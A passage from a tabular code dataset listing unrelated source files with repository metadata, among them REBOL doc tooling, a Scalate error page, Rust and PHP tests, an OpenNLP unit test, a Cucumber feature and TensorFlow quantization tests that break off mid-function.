content stringlengths 4 1.04M | lang stringclasses 358
values | score int64 0 5 | repo_name stringlengths 5 114 | repo_path stringlengths 4 229 | repo_licenses listlengths 1 8 |
|---|---|---|---|---|---|
REBOL [
Title: "Emit Red/System api to makedoc2"
Author: "Peter W A Wood"
File: %emit-reds-api-md2.r
Version: 0.1.0
Rights: "Copyright (C) 2012-2015 Peter W A Wood. All rights reserved."
License: "BSD-3 - https://github.com/red/red/blob/master/BSD-3-License.txt"
Description: {This is a plug for generate-reds-api.r which emits Makedoc 2}
Argument: {A block output by xtract/extract-reds-docstrings}
]
emit: func [
docstrings [block!]
/local
doc
des
][
new-line: func [] [append doc "^/"]
new-para: func [] [append doc "^/^/"]
doc: copy ""
append doc docstrings/title
new-para
docstrings: skip docstrings 2
foreach file docstrings [
append doc join {===} [file/file]
new-line
header: make object! file/header
if in header 'title [
append doc join "Title:" header/title
new-line
]
if in header 'purpose [
append doc join "Purpose: " header/purpose
new-line
]
new-para
append doc {---Functions}
new-line
foreach funct file/functions [
append doc rejoin [{+++Function: } funct/func]
new-line
if funct/3 <> "" [ ;; add any description
des: replace/all funct/3 "^/" ""
append doc des
]
new-para
append doc {...Returns}
new-line
either ret-blk: select funct 'return [
append doc rejoin [" " first ret-blk " " second ret-blk]
][
append doc {No return value}
]
new-para
append doc {...Arguments}
new-line
funct: skip funct 3
foreach arg-blk funct [
if arg-blk = 'return [break]
append doc rejoin [
{ } arg-blk/1 " " arg-blk/2 " " arg-blk/3
]
new-para
]
]
if 0 < length? file/includes [
append doc {---Includes}
new-line
foreach inc file/includes [
append doc join " " inc
new-line
]
]
]
append doc reduce ["Created at " now]
new-para
append doc "###"
new-para
append doc {
REBOL []
do/args %makedoc2.r 'load-only
doc: scan-doc read file: system/options/script
set [title out] gen-html/options doc [(options)]
file: last split-path file
replace file ".txt" ".html"
file2: copy file
insert find file2 "." "-light"
replace out "$DARK$" file
replace out "$LIGHT$" file2
write file out
replace out "dark.css" "light.css"
write file2 out
}
doc
]
| R | 4 | 0xflotus/red | docs/emit-reds-api-md2.r | [
"BSL-1.0",
"BSD-3-Clause"
] |
-#
-# Copyright (C) 2009-2011 the original author or authors.
-# See the notice.md file distributed with this work for additional
-# information regarding copyright ownership.
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-#
- if ( !engine.isDevelopmentMode )
.scalate-error-500
%h1 Server Error: We're sorry, but something went wrong.
%p We've been notified about this issue and we'll take a look at it shortly.
- else
- import util.parsing.input.Position
- import org.fusesource.scalate._
- import org.fusesource.scalate.console._
- val consoleHelper = new ConsoleHelper(context)
- import consoleHelper._
- response.setContentType("text/html")
- attributes("layout") = ""
!!! Basic
%html(lang="en")
%head
%meta(http-equiv="Content-Type" content="text/html; charset=utf-8")
%meta(name="keywords" content="error")
%title Unexpected Failure
%style(type="text/css")
:plain
html, body {
margin: 0;
padding: 0;
font-family: Helvetica, Arial, Sans;
background: #EEEEEE;
}
.block {
padding: 20px;
border-bottom: 1px solid #aaa;
}
#scalate-error .header h1 {
font-weight: normal;
font-size: 28px;
margin: 0;
}
#scalate-error .more {
color: #666;
font-size: 80%;
border: none;
}
#scalate-error .header {
background: #fcd2da;
}
#scalate-error .header p {
color: #333;
}
#scalate-error .details {
background: #f6f6f6;
}
#scalate-error .details h2 {
font-weight: normal;
font-size: 18px;
margin: 0 0 10px 0;
}
#scalate-error .details .lineNumber {
float: left;
display: block;
width: 40px;
text-align: right;
margin-right: 10px;
font-size: 14px;
font-family: monospace;
background: #333;
color: #fff;
}
#scalate-error .details .line {
clear: both;
color: #333;
margin-bottom: 1px;
}
#scalate-error .details pre {
font-size: 14px;
margin: 0;
overflow-x: hidden;
}
#scalate-error .details .error {
color: #c00 !important;
}
#scalate-error .details .error .lineNumber {
background: #c00;
}
#scalate-error .details .errorCol {
background: #c00;
color:#fff;
}
#scalate-error .details a {
text-decoration: none;
}
#scalate-error .details a:hover * {
cursor: pointer !important;
}
#scalate-error .details a:hover pre {
background: #FAFFCF !important;
}
#scalate-error .details .stacktrace {
clear: both;
color: #333;
margin-bottom: 1px;
font-size: 10px;
}
#scalate-error .nested {
padding-top:10px;
padding-left:10px;
}
#scalate-error .nested .block {
padding:10px;
}
#scalate-error .nested .header {
font-size:10px;
}
#scalate-error .nested .header h1 {
font-size:16px;
}
%body
#content
.wrapper
-# Wrap in a try catch block so if there is a error on this page it gets logged to the console
- try
%link(href={uri("/css/scalate/errors.css")} rel="stylesheet" type="text/css")
- def displayError(file:String, pos:Position, message:String)
.header.block
%h1
= message
.details.block
%h2
= editLink(file, pos.line, pos.column)
in #{shorten(file)} near line #{pos.line} col #{pos.column}
- for (s <- lines(file, pos))
- val ss = s.style(pos.line)
= editLink(file, s.line, (if (pos.line == s.line) pos.column else 1))
%div(class=ss)
%span.lineNumber
= s.line
- if (pos.line == s.line)
- val (prefix, ch, postfix) = s.splitOnCharacter(pos.column - 1)
%pre<
&~ prefix
%span.errorCol><
&~ ch
&~ postfix
- else
%pre<
&~ s.source
- def displayException(e:Throwable)
.header.block
%h1
= e.getMessage
%p
= e
.details.block
- for( stack <- e.getStackTrace )
= renderStackTraceElement(stack)
- if( e.getCause!=null )
.nested
- displayException(e.getCause)
#scalate-error
- exception match
- case e:InvalidSyntaxException =>
- displayError( e.template, e.pos, e.brief)
- case e:CompilerException =>
- for ( error <- e.errors )
- displayError(error.file, error.pos, error.message)
- val o = error.original
- if (o != null)
.section.block
= editLink(o.file, o.pos.line, o.pos.column)
from generated #{shorten(o.file)} near line #{o.pos.line} col #{o.pos.line}
- case e:Throwable =>
- displayException(e)
- case u =>
.header.block
%h1
= errorMessage
%p
= u
- catch
- case e:Throwable=>
- e.printStackTrace
-# Fallback to a simple rendering of the error message
.header.block
%h1
= errorMessage
| Scaml | 4 | shreyaspurohit/camel | components/camel-web/src/main/webapp/WEB-INF/scalate/error.scaml | [
"Apache-2.0"
] |
const QUERY = [
'i8',
'u32',
'str',
'char',
'unit',
'tuple',
'fn',
];
const EXPECTED = [
{
'others': [
{
'path': 'std',
'name': 'i8',
'href': '../std/primitive.i8.html',
},
]
},
{
'others': [
{
'path': 'std',
'name': 'u32',
'href': '../std/primitive.u32.html',
},
]
},
{
'others': [
{
'path': 'std',
'name': 'str',
'href': '../std/primitive.str.html',
},
]
},
{
'others': [
{
'path': 'std',
'name': 'char',
'href': '../std/primitive.char.html',
},
]
},
{
'others': [
{
'path': 'std',
'name': 'unit',
'href': '../std/primitive.unit.html',
},
]
},
{
'others': [
{
'path': 'std',
'name': 'tuple',
'href': '../std/primitive.tuple.html',
},
]
},
{
'others': [
{
'path': 'std',
'name': 'fn',
'href': '../std/primitive.fn.html',
},
]
},
];
| JavaScript | 3 | mbc-git/rust | src/test/rustdoc-js-std/primitive.js | [
"ECL-2.0",
"Apache-2.0",
"MIT-0",
"MIT"
] |
// run-pass
// aux-build:issue-2170-lib.rs
// pretty-expanded FIXME #23616
extern crate issue_2170_lib;
pub fn main() {
// let _ = issue_2170_lib::rsrc(2);
}
| Rust | 1 | Eric-Arellano/rust | src/test/ui/issues/issue-2170-exe.rs | [
"ECL-2.0",
"Apache-2.0",
"MIT-0",
"MIT"
] |
package com.baeldung.apache.opennlp;
import java.io.File;
import java.io.FileNotFoundException;
import java.io.IOException;
import java.util.Arrays;
import opennlp.tools.langdetect.Language;
import opennlp.tools.langdetect.LanguageDetector;
import opennlp.tools.langdetect.LanguageDetectorFactory;
import opennlp.tools.langdetect.LanguageDetectorME;
import opennlp.tools.langdetect.LanguageDetectorModel;
import opennlp.tools.langdetect.LanguageDetectorSampleStream;
import opennlp.tools.util.InputStreamFactory;
import opennlp.tools.util.MarkableFileInputStreamFactory;
import opennlp.tools.util.ObjectStream;
import opennlp.tools.util.PlainTextByLineStream;
import opennlp.tools.util.TrainingParameters;
import static org.assertj.core.api.Assertions.assertThat;
import static org.assertj.core.api.Assertions.tuple;
import org.junit.Test;
public class LanguageDetectorAndTrainingDataUnitTest {
@Test
public void givenLanguageDictionary_whenLanguageDetect_thenLanguageIsDetected() throws FileNotFoundException, IOException {
InputStreamFactory dataIn = new MarkableFileInputStreamFactory(new File("src/main/resources/models/DoccatSample.txt"));
ObjectStream lineStream = new PlainTextByLineStream(dataIn, "UTF-8");
LanguageDetectorSampleStream sampleStream = new LanguageDetectorSampleStream(lineStream);
TrainingParameters params = new TrainingParameters();
params.put(TrainingParameters.ITERATIONS_PARAM, 100);
params.put(TrainingParameters.CUTOFF_PARAM, 5);
params.put("DataIndexer", "TwoPass");
params.put(TrainingParameters.ALGORITHM_PARAM, "NAIVEBAYES");
LanguageDetectorModel model = LanguageDetectorME.train(sampleStream, params, new LanguageDetectorFactory());
LanguageDetector ld = new LanguageDetectorME(model);
Language[] languages = ld.predictLanguages("estava em uma marcenaria na Rua Bruno");
assertThat(Arrays.asList(languages)).extracting("lang", "confidence").contains(tuple("pob", 0.9999999950605625),
tuple("ita", 4.939427661577956E-9), tuple("spa", 9.665954064665144E-15),
tuple("fra", 8.250349924885834E-25));
}
}
| Java | 4 | zeesh49/tutorials | apache-opennlp/src/test/java/com/baeldung/apache/opennlp/LanguageDetectorAndTrainingDataUnitTest.java | [
"MIT"
] |
org.gradle.jvmargs=-Xmx1536M
android.enableJetifier=true
android.useAndroidX=true
| INI | 3 | Mayb3Nots/flutter | dev/integration_tests/abstract_method_smoke_test/android/gradle.properties | [
"BSD-3-Clause"
] |
{
"@context": {
"so": "https://schema.org/",
"pb": "?jsonld=types#"
},
"MetaData": {
"created": {
"@type": "CreationTime"
},
"icon": {
"@type": "so:url"
}
}
} | JSONLD | 3 | DigitEgal/PrivateBin | js/commentmeta.jsonld | [
"CC-BY-4.0"
] |
/*
Copyright © 2011 MLstate
This file is part of Opa.
Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
*/
/**
* A simple text trimmer.
* Could be optionally plugged into stringvalue (this widget is not meant for editing).
*
* The text will be trimmed until either it fits in the given width
* (with dots and suffix if relevant) or it is trimmed to the given
* minimal number of characters
*/
import stdlib.widgets.core
type WTextTrimmer.config = {
width_px: int; // the text will be trimmed until its width is less than this
dots: string; // if the text has to be trimmed, it will have this suffix
suffix: string; // the text will always have this suffix (but after the dots in case of trimming)
min_chars : int;
}
WTextTrimmer =
{{
/*
* {1 Configuration}
*/
default_config : WTextTrimmer.config =
{
width_px = 100;
dots = "...";
suffix = "";
min_chars = 1;
}
@client @private
insert_loop(id : string, value : string, config : WTextTrimmer.config) =
dom = #{id}
~{ width_px; dots; suffix; min_chars } = config
insert_and_get_width(s) =
dom = Dom.put_inside(dom, Dom.of_xhtml(<>{ s }</>))
Dom.get_width(dom)
do WStyler.set_dom({ style = css { visibility: hidden; white-space: nowrap; } }, id); // hide while we compute the right length in the DOM
do if insert_and_get_width(value ^ suffix) > width_px
then /* we have to trim */
full_suffix = dots ^ suffix
_ = for(value, String.drop_right(1, _), (s -> insert_and_get_width(s ^ full_suffix) > width_px && String.length(s) >= min_chars))
void ;
do WStyler.clear_dom(id); // it is safe to do this, because the id is fresh
void;
html(config : WTextTrimmer.config, value : string) : xhtml =
id = "trimmed_{Dom.fresh_id()}" // not a user given id, because we have to overwrite both the element and its style
<span id={id} onready={_ -> insert_loop(id,value,config)}></span>
}}
| Opa | 4 | Machiaweliczny/oppailang | lib/stdlib/widgets/texttrimmer/texttrimer.opa | [
"MIT"
] |
#+TITLE: lang/sml
#+DATE: March 29, 2020
#+SINCE: v3.0
#+STARTUP: inlineimages nofold
* Table of Contents :TOC_3:noexport:
- [[#description][Description]]
- [[#maintainers][Maintainers]]
- [[#module-flags][Module Flags]]
- [[#plugins][Plugins]]
- [[#prerequisites][Prerequisites]]
- [[#features][Features]]
- [[#configuration][Configuration]]
- [[#troubleshooting][Troubleshooting]]
* Description
This module has no description yet.
** Maintainers
This module has no dedicated maintainers.
** Module Flags
This module provides no flags.
** Plugins
+ sml-mode
+ company-mlton (=:completion company=)
* TODO Prerequisites
# Document how to install sml program and MLton
* TODO Features
# An in-depth list of features, how to use them, and their dependencies.
* TODO Configuration
# How to configure this module, including common problems and how to address them.
* TODO Troubleshooting
# Common issues and their solution, or places to look for help.
| Org | 2 | leezu/doom-emacs | modules/lang/sml/README.org | [
"MIT"
] |
#+TITLE:${1:Project Name}
#+DATE: `(format-time-string "%Y-%m-%d")`
#+CONTACT: ${2:Contact name}
$0
* Tasks [/]
* Timeframe
* Notes | Org | 2 | leezu/doom-emacs | modules/editor/file-templates/templates/org-mode/__project.org | [
"MIT"
] |
#![feature(let_else)]
fn main() {
let Some(x) = Some(1) else {
return;
} //~ ERROR expected `;`, found keyword `let`
let _ = "";
let Some(x) = Some(1) else {
panic!();
} //~ ERROR expected `;`, found `}`
}
| Rust | 3 | mbc-git/rust | src/test/ui/let-else/let-else-missing-semicolon.rs | [
"ECL-2.0",
"Apache-2.0",
"MIT-0",
"MIT"
] |
%p.text-center
%span.light
= _('Already have login and password?')
- path_params = { redirect_to_referer: 'yes' }
- path_params[:invite_email] = @invite_email if @invite_email.present?
= link_to _('Sign in'), new_session_path(:user, path_params)
| Haml | 4 | Testiduk/gitlabhq | app/views/devise/shared/_sign_in_link.html.haml | [
"MIT"
] |
%%
alphanum=[A-Za-z'_0-9];
id=[A-Za-z]{alphanum};
pathvar="$("([A-Z_]+")";
filebase=({pathvar}|[-A-Za-z_0-9])+;
fileext=({pathvar}|[-A-Za-z_0-9])+;
filename={filebase}("."{fileext})*;
arc=({pathvar}|{filename}|"."|"..");
relpath=({arc}"/")*;
abspath="/"{relpath};
path={relpath}|{abspath};
file={path}{filename};
ws=("\012"|[\t\ ])*;
%%
<INITIAL>{ws} => (continue ());
<INITIAL>";" => (tok (Tokens.SEMICOLON, source, yypos, yypos + 1));
<INITIAL>"=" => (tok (Tokens.EQUALOP, source, yypos, yypos + 1));
<INITIAL>"ann" => (tok (Tokens.ANN, source, yypos, yypos + 3));
<INITIAL>"and" => (tok (Tokens.AND, source, yypos, yypos + 3));
<INITIAL>"bas" => (tok (Tokens.BAS, source, yypos, yypos + 3));
<INITIAL>"basis" => (tok (Tokens.BASIS, source, yypos, yypos + 5));
<INITIAL>"end" => (tok (Tokens.END, source, yypos, yypos + 3));
<INITIAL>"in" => (tok (Tokens.IN, source, yypos, yypos + 2));
<INITIAL>"let" => (tok (Tokens.LET, source, yypos, yypos + 3));
<INITIAL>"local" => (tok (Tokens.LOCAL, source, yypos, yypos + 5));
<INITIAL>"open" => (tok (Tokens.OPEN, source, yypos, yypos + 4));
<INITIAL>{id} => (tok' (Tokens.ID, yytext, source, yypos));
<INITIAL>{file} => (tok' (Tokens.FILE, yytext, source, yypos));
<INITIAL>{path} => (tok' (Tokens.PATH, yytext, source, yypos));
| Lex | 4 | athas/mlk | src/Tools/MlbMake/Mlb.lex | [
"MIT"
] |
/*---------------------------------------------------------------------------------------------
* Copyright (c) Microsoft Corporation. All rights reserved.
* Licensed under the MIT License. See License.txt in the project root for license information.
*--------------------------------------------------------------------------------------------*/
.monaco-table {
display: flex;
flex-direction: column;
position: relative;
height: 100%;
width: 100%;
white-space: nowrap;
}
.monaco-table > .monaco-split-view2 {
border-bottom: 1px solid transparent;
}
.monaco-table > .monaco-list {
flex: 1;
}
.monaco-table-tr {
display: flex;
height: 100%;
}
.monaco-table-th {
width: 100%;
height: 100%;
font-weight: bold;
overflow: hidden;
text-overflow: ellipsis;
}
.monaco-table-th,
.monaco-table-td {
box-sizing: border-box;
flex-shrink: 0;
overflow: hidden;
white-space: nowrap;
text-overflow: ellipsis;
}
.monaco-table > .monaco-split-view2 .monaco-sash.vertical::before {
content: "";
position: absolute;
left: calc(var(--sash-size) / 2);
width: 0;
border-left: 1px solid transparent;
}
.monaco-table > .monaco-split-view2,
.monaco-table > .monaco-split-view2 .monaco-sash.vertical::before {
transition: border-color 0.2s ease-out;
}
/*
.monaco-table:hover > .monaco-split-view2,
.monaco-table:hover > .monaco-split-view2 .monaco-sash.vertical::before {
border-color: rgba(204, 204, 204, 0.2);
} */
| CSS | 2 | sbj42/vscode | src/vs/base/browser/ui/table/table.css | [
"MIT"
] |
# Copyright (c) 2020 vesoft inc. All rights reserved.
#
# This source code is licensed under Apache 2.0 License.
Feature: Bound integer insertion test
Background:
Given an empty graph
And create a space with following options:
| partition_num | 9 |
| replica_factor | 1 |
| vid_type | FIXED_STRING(20) |
And having executed:
"""
CREATE TAG test(id int)
"""
Scenario Outline: insert bound integer value
When try to execute query:
"""
INSERT VERTEX test(id) VALUES '100':(<num>);
INSERT VERTEX test(id) VALUES '100':(<hex>);
INSERT VERTEX test(id) VALUES '100':(<oct>);
"""
Then the execution should be successful
And drop the used space
Examples:
| num | hex | oct |
| 9223372036854775807 | 0x7fffffffffffffff | 0777777777777777777777 |
| 1 | 0x1 | 01 |
| 0 | 0x0 | 00 |
| -1 | -0x1 | -01 |
| -9223372036854775808 | -0x8000000000000000 | -01000000000000000000000 |
Scenario Outline: insert invalid bound integer value
When try to execute query:
"""
INSERT VERTEX test(id) VALUES '100':(1);
"""
Then the execution should be successful
When executing query:
"""
INSERT VERTEX test(id) VALUES '100':(<num>);
"""
Then a SyntaxError should be raised at compile time: Out of range
When executing query:
"""
INSERT VERTEX test(id) VALUES '100':(<hex>);
"""
Then a SyntaxError should be raised at compile time: Out of range
When executing query:
"""
INSERT VERTEX test(id) VALUES '100':(<oct>);
"""
Then a SyntaxError should be raised at compile time: Out of range
And drop the used space
Examples:
| num | hex | oct |
| -9223372036854999999 | -0x8000000000036bbf | -01000000000000000665677 |
| -9223372036854775809 | -0x8000000000000001 | -01000000000000000000001 |
| 9223372036854775808 | 0x8000000000000000 | 01000000000000000000000 |
| 9223372036899999999 | 0x8000000002b210ff | 01000000000000254410377 |
| Cucumber | 5 | liuqian1990/nebula | tests/tck/features/insert/BoundCheck.feature | [
"Apache-2.0"
] |
--TEST--
A SWITCH_STRING operand FREE may be optimized away
--FILE--
<?php
function test($a) {
switch (!$a) {
case '':
r>l;
default:
}
}
?>
===DONE===
--EXPECT--
===DONE===
| PHP | 0 | NathanFreeman/php-src | ext/opcache/tests/switch_string_free_opt.phpt | [
"PHP-3.01"
] |
stocks
options
load aapl
exp 0
pricing
add 150 -c 3
rmv 150
add 150 -c 0.3
add 170 -c 0.5
add 180 -c 0.2
show
rnval
exit | Gosu | 1 | minhhoang1023/GamestonkTerminal | scripts/test_stocks_options_pricing.gst | [
"MIT"
] |
fun more n =
if n <= 0 then
"!"
else
more (n-1) ^ more (n-1)
fun main n =
debug "Let's give this a try....";
return <xml>{[more n]}</xml>
| UrWeb | 3 | apple314159/urweb | tests/hog.ur | [
"BSD-3-Clause"
] |
/* Copyright 2015 The TensorFlow Authors. All Rights Reserved.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
==============================================================================*/
#include <cmath>
#define EIGEN_USE_THREADS
#include <limits>
#include "third_party/eigen3/unsupported/Eigen/CXX11/Tensor"
#include "tensorflow/core/framework/allocator.h"
#include "tensorflow/core/framework/tensor_testutil.h"
#include "tensorflow/core/framework/types.h"
#include "tensorflow/core/kernels/quantization_utils.h"
#include "tensorflow/core/lib/core/threadpool.h"
#include "tensorflow/core/lib/random/simple_philox.h"
#include "tensorflow/core/lib/strings/strcat.h"
#include "tensorflow/core/platform/test.h"
namespace tensorflow {
namespace {
void TestRequantizeMany(Eigen::ThreadPoolDevice* eigen_device, float input_min,
float input_max, float output_min, float output_max,
const std::vector<qint32>& values_quantized,
int tolerance = 1) {
const int values_count = values_quantized.size();
std::vector<quint8> expected_values;
expected_values.reserve(values_count);
for (int value_index = 0; value_index < values_count; ++value_index) {
expected_values.push_back(FloatToQuantized<quint8>(
QuantizedToFloat(values_quantized[value_index], input_min, input_max),
output_min, output_max));
}
Tensor i_tensor =
tensorflow::test::AsTensor(gtl::ArraySlice<qint32>(values_quantized));
Tensor o_tensor(DT_QUINT8, TensorShape{values_count});
auto output_values = o_tensor.flat<quint8>();
if (eigen_device == nullptr) {
auto input_array = i_tensor.flat<qint32>();
RequantizeManyInNewRange(input_array.data(), input_array.size(), input_min,
input_max, output_min, output_max,
output_values.data());
} else {
RequantizeManyInNewRangeUsingEigen<qint32, quint8>(
*eigen_device, i_tensor, input_min, input_max, output_min, output_max,
&o_tensor);
}
const string tolerance_str = strings::StrCat("+-", tolerance);
for (size_t value_index = 0; value_index < values_count; ++value_index) {
int e = expected_values[value_index];
int v = output_values(value_index);
ASSERT_TRUE(std::abs(e - v) <= tolerance)
<< "actual=" << v << ", expected=" << e << tolerance_str
<< ", values_quantized[" << value_index
<< "]=" << values_quantized[value_index] << ", input_min=" << input_min
<< ", input_max=" << input_max << ", output_min=" << output_min
<< ", output_max=" << output_max << ", value_index=" << value_index;
}
}
void TestRequantizeMany8To32Bit(float input_min, float input_max,
float output_min, float output_max,
const std::vector<quint8>& values_quantized,
int tolerance = 256) {
const int values_count = values_quantized.size();
std::vector<qint32> expected_values;
expected_values.reserve(values_count);
for (int value_index = 0; value_index < values_count; ++value_index) {
expected_values.push_back(FloatToQuantized<qint32>(
QuantizedToFloat(values_quantized[value_index], input_min, input_max),
output_min, output_max));
}
const Tensor i_tensor =
tensorflow::test::AsTensor(gtl::ArraySlice<quint8>(values_quantized));
Tensor o_tensor(DT_QINT32, TensorShape{values_count});
auto output_values = o_tensor.flat<qint32>();
const auto input_array = i_tensor.flat<quint8>();
RequantizeManyInNewRange(input_array.data(), input_array.size(), input_min,
input_max, output_min, output_max,
output_values.data());
const string tolerance_str = strings::StrCat("+-", tolerance);
for (int value_index = 0; value_index < values_count; ++value_index) {
const qint32 e = expected_values[value_index];
const qint32 v = output_values(value_index);
ASSERT_TRUE(std::abs(e - v) <= tolerance)
<< "actual=" << v << ", expected=" << e << tolerance_str
<< ", values_quantized[" << value_index
<< "]=" << values_quantized[value_index] << ", input_min=" << input_min
<< ", input_max=" << input_max << ", output_min=" << output_min
<< ", output_max=" << output_max << ", value_index=" << value_index;
}
}
// If eigen_device is NULL, then the reference implementation is tested.
void TestRequantizeManyInNewRange32To8Bit(
Eigen::ThreadPoolDevice* eigen_device) {
if (true) {
// These are the float values we're going to test the conversions on.
const size_t values_count = 6;
const float values[values_count] = {0.0f, 0.45f, 1.0f,
-1.0f, 127.0f, 255.0f};
// These are the input and output ranges we'll test.
const size_t ranges_count = 6;
const float ranges[ranges_count][4] = {
{0.0f, 255.0f, 0.0f, 255.0f}, //
{0.0f, 1.0f, 0.0f, 1.0f}, //
{-1.0f, 1.0f, -1.0f, 1.0f}, //
{-1.0f, 1.0f, -255.0f, 255.0f}, //
{3.0f, 3.0f, 0.0f, 255.0f}, // input min == max
{0.0f, 255.0f, 5.0f, 5.0f}, // output min == max
};
for (int i = 0; i < ranges_count; ++i) {
const auto& r = ranges[i];
std::vector<qint32> values_quantized;
for (int value_index = 0; value_index < values_count; ++value_index) {
const float v = values[value_index];
values_quantized.push_back(FloatToQuantized<qint32>(v, r[0], r[1]));
}
TestRequantizeMany(eigen_device, r[0], r[1], r[2], r[3],
values_quantized);
}
// Test with many different values in the input quantized range.
qint32 low = Eigen::NumTraits<qint32>::lowest();
qint32 high = Eigen::NumTraits<qint32>::highest();
std::vector<qint32> vals{low, high};
int num_steps = 14419;
qint32 step = static_cast<int32>((1LL << 32) / num_steps);
qint32 v = low + static_cast<qint32>(1);
for (int i = 0; i < num_steps; ++i) {
vals.push_back(v);
v += step;
}
TestRequantizeMany(eigen_device, -1.0f, 1.0f, -1.0f, 1.0f, vals);
TestRequantizeMany(eigen_device, -255.0f, 255.0f, -255.0f, 255.0f, vals);
TestRequantizeMany(eigen_device, -1.0f, 1.0f, -12345678.0f, 12345678.0f,
vals);
TestRequantizeMany(eigen_device, -1.0f, 12345678.0f, -12345678.0f,
12345678.0f, vals);
}
// Test when the input range is large and output range is small.
// Use all quantized values where the float is in the output range.
const float out_min = -29.1234;
const float out_max = 23.1234;
const float in_min = -1e6;
const float in_max = 1e6;
qint32 low = FloatToQuantized<qint32>(out_min, in_min, in_max);
qint32 high = FloatToQuantized<qint32>(out_max, in_min, in_max);
std::vector<qint32> vals;
vals.clear();
for (int32_t i = low; i <= high; ++i) vals.push_back(i);
TestRequantizeMany(eigen_device, in_min, in_max, out_min, out_max, vals);
}
void TestRequantizeManyInNewRange8To32Bit() {
// These are the float values we're going to test the conversions on.
const size_t values_count = 6;
const float values[values_count] = {0.0f, 0.45f, 1.0f, -1.0f, 127.0f, 255.0f};
// These are the input and output ranges we'll test.
const size_t ranges_count = 6;
const float ranges[ranges_count][4] = {
{0.0f, 255.0f, 0.0f, 255.0f}, //
{0.0f, 1.0f, 0.0f, 1.0f}, //
{-1.0f, 1.0f, -1.0f, 1.0f}, //
{-1.0f, 1.0f, -255.0f, 255.0f}, //
{3.0f, 3.0f, 0.0f, 255.0f}, // input min == max
{0.0f, 255.0f, 5.0f, 5.0f}, // output min == max
};
for (int i = 0; i < ranges_count; ++i) {
const auto& r = ranges[i];
std::vector<quint8> values_quantized;
for (int value_index = 0; value_index < values_count; ++value_index) {
const float v = values[value_index];
values_quantized.push_back(FloatToQuantized<quint8>(v, r[0], r[1]));
}
TestRequantizeMany8To32Bit(r[0], r[1], r[2], r[3], values_quantized);
}
// Test with many different values in the input quantized range.
int low = Eigen::NumTraits<quint8>::lowest();
int high = Eigen::NumTraits<quint8>::highest();
std::vector<quint8> vals;
for (int val = low; val <= high; ++val) {
vals.push_back(val);
}
TestRequantizeMany8To32Bit(-1.0f, 1.0f, -1.0f, 1.0f, vals);
TestRequantizeMany8To32Bit(-255.0f, 255.0f, -255.0f, 255.0f, vals);
TestRequantizeMany8To32Bit(-1.0f, 1.0f, -12345678.0f, 12345678.0f, vals);
TestRequantizeMany8To32Bit(-1.0f, 12345678.0f, -12345678.0f, 12345678.0f,
vals);
}
template <typename InputType, typename OutputType>
void TestRequantizeManyInNewRangeEigenVsNonEigen() {
thread::ThreadPool threadpool(Env::Default(), "test", 2 /* num_threads */);
Eigen::ThreadPoolDevice eigen_device(threadpool.AsEigenThreadPool(),
2 /* num_threads */);
const size_t ranges_count = 6;
const float ranges[ranges_count][4] = {
{0.0f, 255.0f, 0.0f, 255.0f}, //
{0.0f, 1.0f, 0.0f, 1.0f}, //
{-1.0f, 1.0f, -1.0f, 1.0f}, //
{-1.0f, 1.0f, -255.0f, 255.0f}, //
{3.0f, 3.0f, 0.0f, 255.0f}, // input min == max
{0.0f, 255.0f, 5.0f, 5.0f}, // output min == max
};
// Random values.
for (size_t range_index = 0; range_index < ranges_count; ++range_index) {
const float input_min = ranges[range_index][0];
const float input_max = ranges[range_index][1];
const float output_min = ranges[range_index][2];
const float output_max = ranges[range_index][3];
const int values_count = 10000;
random::PhiloxRandom philox(testing::RandomSeed(), 17);
random::SimplePhilox rnd(&philox);
std::vector<InputType> values_quantized;
for (int i = 0; i < values_count; ++i) {
float v = (rnd.RandFloat() * (input_max - input_min)) + input_min;
values_quantized.push_back(
FloatToQuantized<InputType>(v, input_min, input_max));
}
Tensor i_tensor = tensorflow::test::AsTensor(
gtl::ArraySlice<InputType>(values_quantized));
const auto i_array = i_tensor.flat<InputType>();
Tensor o_tensor_eigen(DataTypeToEnum<OutputType>::v(),
TensorShape{values_count});
auto output_values_eigen = o_tensor_eigen.flat<OutputType>();
Tensor o_tensor_ref(DataTypeToEnum<OutputType>::v(),
TensorShape{values_count});
auto output_values_ref = o_tensor_ref.flat<OutputType>();
RequantizeManyInNewRange(i_array.data(), i_array.size(), input_min,
input_max, output_min, output_max,
output_values_ref.data());
RequantizeManyInNewRangeUsingEigen<InputType, OutputType>(
eigen_device, i_tensor, input_min, input_max, output_min, output_max,
&o_tensor_eigen);
const int tolerance = 1;
for (int i = 0; i < values_quantized.size(); ++i) {
auto expected = output_values_ref(i);
auto actual = output_values_eigen(i);
// The eigen computation uses float for constants and computation
// instead of doubles, so can be different by 1 or 2 in some cases
// (e.g., input value 144.062744140625, min -1, max 255, type quint8).
ASSERT_TRUE(std::abs(expected - actual) <= tolerance)
<< "expected=" << expected << " actual=" << actual
<< " tolerance=" << tolerance << " v=" << values_quantized[i]
<< " i=" << i << " input_min=" << input_min
<< " input_max=" << input_max
